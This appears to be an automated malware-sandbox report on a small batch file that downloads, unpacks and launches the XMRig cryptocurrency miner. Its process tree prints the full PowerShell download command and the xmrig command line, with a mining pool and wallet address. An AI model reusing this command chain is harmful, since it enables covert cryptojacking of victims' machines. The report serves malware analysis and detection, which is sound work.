Resubmissions

Analysis

  • max time kernel
    1795s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2132
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4928

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ccf0e87da80f3cd489d3493f88ac372f

    SHA1

    b7cfe6d0b7fb114057e5c0265edc9ae5b7f4acc3

    SHA256

    7aa030c19120c6dd56724635495815f342b2760e2a8281660fcd8dcc3a451f7f

    SHA512

    dc1374ac8b338ed11a6cd7d662d3f7d16477202338111eef79864c36af3fd2356e26d614f32877864b8058acfa89084a36aa1bd80c9429d3d76d99320bef1bf7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxna0uoi.m4u.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    2.8MB

    MD5

    31e9c55d7293cff3312befa42632de30

    SHA1

    8d27729b503ff17122b8d1cd8b354475d0077677

    SHA256

    f5a74533d207aa9f943dd9890a344ac361d879b956bdba705972ad89a9238b27

    SHA512

    58ae856f7b36fa0f9e2210cc21bf9a909ffee229f2cdc8a2fab2ce47bb60ab0385af05a37bf0ec6396c0289f8a8c528ad3096819359dc270cb92a321f6fc3c60

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    3.7MB

    MD5

    3b571ade1c051879aafe92b1f3ddc153

    SHA1

    e24ffa057883860afad6b1f9a872782046d94a17

    SHA256

    02963963994a08d56d9e63cad73f489e3ffb3bf4adacffe9eb4a14c684858466

    SHA512

    b21423af8376049e69492ed95d0e97f00870357c01cd7a0cb41fb1e4c41e15e5c5fe9ea49a61f7c626b16b8d6e4d7c375fee34e5a851cee7b5fbec2993f94f76

  • memory/2132-113-0x00007FF958650000-0x00007FF95903C000-memory.dmp

    Filesize

    9.9MB

  • memory/2132-35-0x00007FF958650000-0x00007FF95903C000-memory.dmp

    Filesize

    9.9MB

  • memory/2132-38-0x000001B35EFF0000-0x000001B35F000000-memory.dmp

    Filesize

    64KB

  • memory/2132-36-0x000001B35EFF0000-0x000001B35F000000-memory.dmp

    Filesize

    64KB

  • memory/2132-62-0x000001B35EFF0000-0x000001B35F000000-memory.dmp

    Filesize

    64KB

  • memory/2132-76-0x000001B35F630000-0x000001B35F642000-memory.dmp

    Filesize

    72KB

  • memory/2132-89-0x000001B35F2A0000-0x000001B35F2AA000-memory.dmp

    Filesize

    40KB

  • memory/4300-5-0x00007FF958650000-0x00007FF95903C000-memory.dmp

    Filesize

    9.9MB

  • memory/4300-6-0x000002337C3D0000-0x000002337C3E0000-memory.dmp

    Filesize

    64KB

  • memory/4300-4-0x000002337C410000-0x000002337C432000-memory.dmp

    Filesize

    136KB

  • memory/4300-8-0x000002337C3D0000-0x000002337C3E0000-memory.dmp

    Filesize

    64KB

  • memory/4300-10-0x000002337C5C0000-0x000002337C636000-memory.dmp

    Filesize

    472KB

  • memory/4300-25-0x000002337C3D0000-0x000002337C3E0000-memory.dmp

    Filesize

    64KB

  • memory/4300-30-0x00007FF958650000-0x00007FF95903C000-memory.dmp

    Filesize

    9.9MB

  • memory/4928-141-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-151-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-118-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-119-0x00000139842D0000-0x00000139842F0000-memory.dmp

    Filesize

    128KB

  • memory/4928-120-0x00000139842F0000-0x0000013984310000-memory.dmp

    Filesize

    128KB

  • memory/4928-121-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-122-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-123-0x00000139842D0000-0x00000139842F0000-memory.dmp

    Filesize

    128KB

  • memory/4928-124-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-125-0x00000139842F0000-0x0000013984310000-memory.dmp

    Filesize

    128KB

  • memory/4928-126-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-127-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-128-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-129-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-130-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-131-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-132-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-133-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-134-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-135-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-136-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-137-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-138-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-139-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-140-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-116-0x0000013982790000-0x00000139827B0000-memory.dmp

    Filesize

    128KB

  • memory/4928-142-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-143-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-144-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-145-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-146-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-147-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-148-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-149-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-150-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-117-0x0000013984290000-0x00000139842D0000-memory.dmp

    Filesize

    256KB

  • memory/4928-152-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-153-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-154-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-155-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-156-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-157-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-158-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-159-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-160-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-161-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-162-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-163-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-164-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-165-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-166-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-167-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-168-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-169-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-170-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-171-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-172-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-173-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-174-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-175-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-176-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-177-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-178-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-179-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-180-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-181-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-182-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-183-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-184-0x00007FF76EBE0000-0x00007FF76F6E3000-memory.dmp

    Filesize

    11.0MB